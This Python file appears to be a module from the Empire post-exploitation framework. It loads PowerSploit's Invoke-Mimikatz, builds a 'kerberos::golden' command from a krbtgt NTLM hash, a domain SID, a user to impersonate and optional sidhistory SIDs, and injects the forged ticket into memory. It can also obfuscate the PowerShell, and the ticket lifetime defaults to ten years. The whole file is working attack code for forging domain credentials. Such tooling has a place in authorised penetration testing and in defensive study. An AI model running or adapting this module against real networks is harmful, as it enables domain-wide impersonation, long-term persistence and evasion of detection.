156 lines
5.6 KiB
Python
156 lines
5.6 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-Mimikatz Golden Ticket',
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'Author': ['@JosephBialek', '@gentilkiwi'],
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'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
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"to generate a golden ticket and inject it into memory."),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [
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'http://clymb3r.wordpress.com/',
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'http://blog.gentilkiwi.com',
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"https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos"
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'CredID' : {
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'Description' : 'CredID from the store to use for ticket creation.',
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'Required' : False,
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'Value' : ''
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},
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'user' : {
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'Description' : 'Username to impersonate.',
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'Required' : True,
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'Value' : ''
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},
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'domain' : {
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'Description' : 'The fully qualified domain name.',
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'Required' : False,
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'Value' : ''
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},
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'sid' : {
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'Description' : 'The SID of the specified domain.',
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'Required' : False,
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'Value' : ''
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},
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'sids' : {
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'Description' : 'External SIDs to add as sidhistory to the ticket.',
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'Required' : False,
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'Value' : ''
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},
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'id' : {
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'Description' : 'id to impersonate, defaults to 500.',
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'Required' : False,
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'Value' : ''
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},
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'krbtgt' : {
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'Description' : 'krbtgt NTLM hash for the specified domain',
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'Required' : False,
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'Value' : ''
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},
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'groups' : {
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'Description' : 'Optional comma separated group IDs for the ticket.',
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'Required' : False,
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'Value' : ''
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},
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'endin' : {
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'Description' : 'Lifetime of the ticket (in minutes). Default to 10 years.',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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# if a credential ID is specified, try to parse
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credID = self.options["CredID"]['Value']
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if credID != "":
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if not self.mainMenu.credentials.is_credential_valid(credID):
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print helpers.color("[!] CredID is invalid!")
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return ""
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(credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
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if userName != "krbtgt":
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print helpers.color("[!] A krbtgt account must be used")
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return ""
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if domainName != "":
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self.options["domain"]['Value'] = domainName
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if sid != "":
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self.options["sid"]['Value'] = sid
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if password != "":
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self.options["krbtgt"]['Value'] = password
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if self.options["krbtgt"]['Value'] == "":
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print helpers.color("[!] krbtgt hash not specified")
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# build the golden ticket command
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scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::golden"
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for option,values in self.options.iteritems():
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if option.lower() != "agent" and option.lower() != "credid":
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if values['Value'] and values['Value'] != '':
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scriptEnd += " /" + str(option) + ":" + str(values['Value'])
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scriptEnd += " /ptt\"'"
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if obfuscate:
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scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
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script += scriptEnd
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return script
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